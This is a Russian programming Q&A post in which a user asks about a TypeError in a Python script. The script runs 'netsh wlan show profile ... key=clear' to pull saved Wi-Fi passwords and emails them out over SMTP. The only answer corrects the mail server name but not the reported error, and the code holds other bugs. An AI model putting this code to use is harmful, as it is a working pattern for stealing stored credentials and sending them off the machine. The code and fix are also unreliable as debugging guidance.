TypeError: cannot use a string pattern on a bytes-like object
Пишу программу, которая присылает мне на почту пароли от моих wifi сетей, но возникла ошибка:
File *путь к файлу*, line 48, in <module>
network_names_list = re.findall("(?:Рrofile\s*:\s)(.*)", networks)
File *путь к файлу*, line 239, in findall
return _compile(pattern, flags).findall(string)
TypeError: cannot use a string pattern on a bytes-like object
Вот код:
import subprocess
import smtplib
import re
def send_mail(email, password, message):
server = smtplib.SMTP("smtplib.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)
result = " "
for network_name in network_names_list:
command = "netsh wlan show profile " + network_name + "key=clear"
current_result = subprocess.check.output(command, shell=True)
result = result + current_result
send_mail("my_email", "my_password", result)
Ответы (1 шт):
Автор решения: BaDRabbiT404
→ Ссылка
Всем спасибо за внимание, я понял в чём проблема
server = smtplib.SMTP("smtplib.gmail.com", 587)
надо вот так:
server = smtplib.SMTP("smtp.gmail.com", 587)